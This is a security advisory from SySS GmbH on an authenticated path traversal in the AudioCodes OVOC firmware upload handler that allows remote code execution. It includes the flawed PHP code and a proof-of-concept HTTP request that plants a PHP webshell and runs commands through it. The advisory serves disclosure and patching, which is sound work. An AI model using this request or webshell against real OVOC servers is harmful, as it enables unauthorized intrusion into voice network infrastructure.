-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2026-028 Product: AudioCodes One Voice Operations Center (OVOC) Manufacturer: AudioCodes Ltd. Affected Version(s): < 8.4.3615 Tested Version(s): 8.4.3079 on Rocky Linux 8.10 Vulnerability Type: Unrestricted Upload of File with Dangerous Type (CWE-434), Path Traversal (CWE-22) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2026-04-22 Solution Date: 2026-06-21 Public Disclosure: 2026-07-09 CVE Reference: Not yet assigned Author of Advisory: Moritz Abrell, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: AudioCodes One Voice Operations Center (OVOC) is a web-based management and monitoring solution for Session Border Controllers. The manufacturer describes OVOC as "a voice network management solution" and states that it combines device management with quality monitoring (see [1]). OVOC is affected by an authenticated path traversal vulnerability in the legacy IP Phone Manager firmware upload handler. An authenticated operator can upload a PHP file outside the intended temporary upload directory and place it in a web-accessible application directory. The uploaded PHP file is then executed by the web server, resulting in remote code execution (RCE) as the operating system user "emsadmin". ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The vulnerable endpoint is: POST /ipp/admin/AudioCodes_files/ajax/ajaxUploadFirmware.php The corresponding file on the OVOC server is: /opt/ACEMS/ippmanager/admin/AudioCodes_files/ajax/ajaxUploadFirmware.php The endpoint includes the authentication middleware "protect.php", which requires a valid IP Phone Manager operator session. The upload handler first calls the security helper "secure::sanitizeAllInputs()": secure::sanitizeAllInputs(); This helper does not modify the original PHP superglobals. Instead, it returns sanitized copies of the request data: public static function sanitizeAllInputs() { return [ 'get' => self::sanitizeArray($_GET), 'post' => self::sanitizeArray($_POST), 'cookie' => self::sanitizeArray($_COOKIE), ]; } The returned value is discarded in the vulnerable endpoint. As a result, subsequent code continues to read attacker-controlled values directly from "$_REQUEST": $fileName = isset($_REQUEST["tmpname"]) ? $_REQUEST["tmpname"] : ""; [...] $folder = isset($_REQUEST["folder"]) ? $_REQUEST["folder"] : ''; [...] $folderDir = $targetDir.DIRECTORY_SEPARATOR.$folder; [...] $filePath = $folderDir . DIRECTORY_SEPARATOR .$fileName; if (!$out = @fopen("{$filePath}.part", $chunks ? "ab" : "wb")) { [...] } [...] rename("{$filePath}.part", $filePath); The same helper contains logic to sanitize directory parameters such as "folder". This logic is ineffective in the vulnerable endpoint because the return value is not assigned or used. The unsafe values are then used for two separate decisions. The "folder" parameter is appended to the temporary upload directory and controls the destination directory. The "tmpname" parameter controls the final file name. The implementation does not canonicalize the resulting path via "realpath()", does not enforce that the resolved path remains below the temporary upload directory, does not use "basename()" for the file name, and does not apply an extension allowlist. Therefore, a request can set the following: folder=../../../../../opt/ACEMS/ippmanager/admin/AudioCodes_files tmpname=.php The operating system resolves the resulting path to: /opt/ACEMS/ippmanager/admin/AudioCodes_files/.php This directory is web-accessible through: /ipp/admin/AudioCodes_files/.php Consequently, the upload handler writes a PHP file into a web-accessible application directory. When the file is requested through the web server, the PHP code is executed. On the tested appliance, the PHP web server process executed uploaded PHP code as: uid=1002(emsadmin) gid=48(apache) groups=48(apache) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following high-level sequence demonstrates the issue: 1. Authenticate to the IP Phone Manager web application and obtain a valid "ipp_new_sec_session_id" cookie. 2. Upload a PHP command wrapper by abusing path traversal in the "folder" form field: POST /ipp/admin/AudioCodes_files/ajax/ajaxUploadFirmware.php HTTP/1.1 Host: Cookie: ipp_new_sec_session_id= Content-Type: multipart/form-data; boundary=----SySSPoC ------SySSPoC Content-Disposition: form-data; name="file"; filename="webshell.php" Content-Type: application/octet-stream &1"); echo "$out"; ?> ------SySSPoC Content-Disposition: form-data; name="folder" ../../../../../opt/ACEMS/ippmanager/admin/AudioCodes_files ------SySSPoC Content-Disposition: form-data; name="tmpname" webshell.php ------SySSPoC-- 3. The server returns a success response similar to: {"jsonrpc":"2.0","result":{"status":200,"message":"The firmware file has been uploaded successfully to temporary folder.", "filename":"webshell.php"}} 4. The uploaded PHP file is then reachable through the web server: GET /ipp/admin/AudioCodes_files/webshell.php?c=id 5. The command output confirmed code execution as "emsadmin": uid=1002(emsadmin) gid=48(apache) groups=48(apache) In combination with SYSS-2026-029 (see [3]), this can be chained to an authenticated RCE with privilege escalation to "root". ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Update to version 8.4.3615 according to the manufacturer. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-04-17: Vulnerability discovered 2026-04-22: Vulnerability reported to the manufacturer 2026-04-30: Report assigned to the correct department of the manufacturer 2026-05-11: According to the manufacturer, a fix for the vulnerability is planned for the release expected by the end of May 2026-06-29: Request for an update 2026-06-29: Manufacturer response: vulnerability is fixed in version 8.4.3615 2026-07-09: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] AudioCodes One Voice Operations Center product page https://www.audiocodes.com/solutions-products/products/management-products-solutions/one-voice-operations-center [2] SySS Security Advisory SYSS-2026-028 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-028.txt [3] SySS Security Advisory SYSS-2026-029 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-029.txt [4] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Moritz Abrell of SySS GmbH. E-Mail: moritz.abrell@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Abrell.asc Key Fingerprint: 2927 7EB6 1A20 0679 79E9 87E6 AE0C 9BF8 F134 8B53 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory should be published by the author. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEKSd+thogBnl56Yfmrgyb+PE0i1MFAmpN7RgACgkQrgyb+PE0 i1PW2xAAnE3IgIaM0u5RFO0QXy5WhEhgK0/EeG75Wut/g7v1s4JddxytlcZjHYHo Yo1Fa5v2ZkiwUJra2ya4Led8nW3wYCRxAOHWjq3e7BbRVIPfxbChNuFY6it6FyHg wyC+g3z+zPZpp15UIypjCtwmZC3VQXT2St0EDOG13kaghPIzYLvPtLJY4X2omcVN X/tZc1VxaYp4iRh+4Y4d0iMS3bs5YFUDOD1h82zeuFIstkje661EtrAUzn7Cl6bi eyAXK5BqgZ/tAjVK0nOAYonHH9GUNMwM4X1fKPfEjayL8PNCWPJ/3c8LhEbalVqU rC5H/LREOUXlZDeTiPTTM7h3csfILc/Iqme9jPHyLkY821N8a1NI2sLUTqpeM0oa inc7GesF64tAEZHuPZnU5cbhfUoyyy16UR6lWnFkxV0F3Ad8TLE2X6W18wHiN9ru /nHUffWLQu6DSxbr/ZD+pHnjhHZPo5Sb0tQ9cVFKSr6/kuWS+VDqz76wSE5mkbqW FTgnZtk481zt3Le7mivOHOwj6AxmFJUF9eMYwMshAhT6F+kYsyhxoLf2qST9xqcl KsTkcclzqRcSTaxnKos9JUfp7Knm+EODLqa3LTWMfCPnwMCYNAnOrGd/ktoqYi18 v2XmbA7xqKKLZDZLF5EbI9ByShZn0I42blgXLLKacEyPSDJqUro= =IOJp -----END PGP SIGNATURE-----